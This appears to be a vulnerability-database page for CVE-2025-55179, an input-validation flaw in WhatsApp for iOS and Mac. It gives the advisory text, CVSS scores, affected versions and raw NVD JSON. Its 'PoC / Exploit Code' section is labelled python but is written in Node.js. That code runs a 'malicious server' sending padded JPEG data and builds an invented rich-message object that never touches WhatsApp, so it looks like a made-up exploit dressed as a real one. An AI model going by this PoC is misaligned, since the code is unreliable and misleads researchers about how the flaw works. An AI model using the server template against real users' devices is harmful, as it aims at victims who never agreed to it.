Security Vulnerability Report
中文
CVE-2025-55179 CVSS 5.4 MEDIUM

CVE-2025-55179

Published: 2025-11-18 15:16:32
Last Modified: 2025-11-25 17:35:14

Description

Incomplete validation of rich response messages in WhatsApp for iOS prior to v2.25.23.73, WhatsApp Business for iOS v2.25.23.82, and WhatsApp for Mac v2.25.23.83 could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device. We have not seen evidence of exploitation in the wild.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:whatsapp:whatsapp:*:*:*:*:*:macos:*:* - VULNERABLE
cpe:2.3:a:whatsapp:whatsapp:*:*:*:*:*:iphone_os:*:* - VULNERABLE
cpe:2.3:a:whatsapp:whatsapp_business:*:*:*:*:*:iphone_os:*:* - VULNERABLE
WhatsApp for iOS < v2.25.23.73
WhatsApp Business for iOS < v2.25.23.82
WhatsApp for Mac < v2.25.23.83

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55179 PoC - WhatsApp Rich Message URL Handling // This PoC demonstrates the incomplete validation vulnerability // Note: Actual exploitation requires sending a specially crafted message const https = require('https'); const crypto = require('crypto'); // Malicious server that serves media content const maliciousServer = https.createServer((req, res) => { console.log('[*] Incoming request from victim device'); console.log('[*] Headers:', req.headers); // Generate malicious media content const payload = generateMaliciousMedia(); res.writeHead(200, { 'Content-Type': 'image/jpeg', 'Content-Length': payload.length, 'Cache-Control': 'no-cache' }); res.end(payload); }); function generateMaliciousMedia() { // Create a crafted media payload // In real scenario, this could exploit parsing vulnerabilities const header = Buffer.from([0xFF, 0xD8, 0xFF, 0xE0]); // JPEG header const exploit = Buffer.alloc(1024, 0x41); const footer = Buffer.from([0xFF, 0xD9]); // JPEG footer return Buffer.concat([header, exploit, footer]); } // Generate the malicious URL for the rich message function generateMaliciousUrl(serverHost) { const path = '/media/' + crypto.randomUUID() + '.jpg'; return `https://${serverHost}${path}`; } // Simulate the rich message structure function createRichMessage(maliciousUrl) { return { type: 'rich_message', version: '1.0', body: { text: 'Check out this image!', media: { url: maliciousUrl, mime_type: 'image/jpeg', thumbnail: 'base64_encoded_thumbnail' } }, // Missing or incomplete URL validation fields validation: { trusted_domain: false, verified: false } }; } maliciousServer.listen(8443, () => { console.log('[+] Malicious server running on port 8443'); console.log('[+] Generate malicious URL and embed in WhatsApp message'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55179", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:32.177", "lastModified": "2025-11-25T17:35:13.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incomplete validation of rich response messages in WhatsApp for iOS prior to v2.25.23.73, WhatsApp Business for iOS v2.25.23.82, and WhatsApp for Mac v2.25.23.83 could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device. We have not seen evidence of exploitation in the wild."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:whatsapp:whatsapp:*:*:*:*:*:macos:*:*", "versionStartIncluding": "2.25.8.14", "versionEndExcluding": "2.25.23.83", "matchCriteriaId": "05D8407F-8992-483D-A0DA-647C1291378D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:whatsapp:whatsapp:*:*:*:*:*:iphone_os:*:*", "versionStartIncluding": "2.25.8.17", "versionEndExcluding": "2.25.23.73", "matchCriteriaId": "332FD04C-066B-4A88-8F85-AAE1BCBE3B48"}, {"vulnerable": true, "criteria": "cpe:2.3:a:whatsapp:whatsapp_business:*:*:*:*:*:iphone_os:*:*", "versionStartIncluding": "2.25.8.14", "versionEndExcluding": "2.25.23.82", "matchCriteriaId": "5542D196-8D14-483A-ABAB-0A85EAF6FD82"}]}]}], "references": [{"url": "https://www.facebook.com/security/advisories/cve-2025-55179", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.whatsapp.com/security/advisories/2025/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}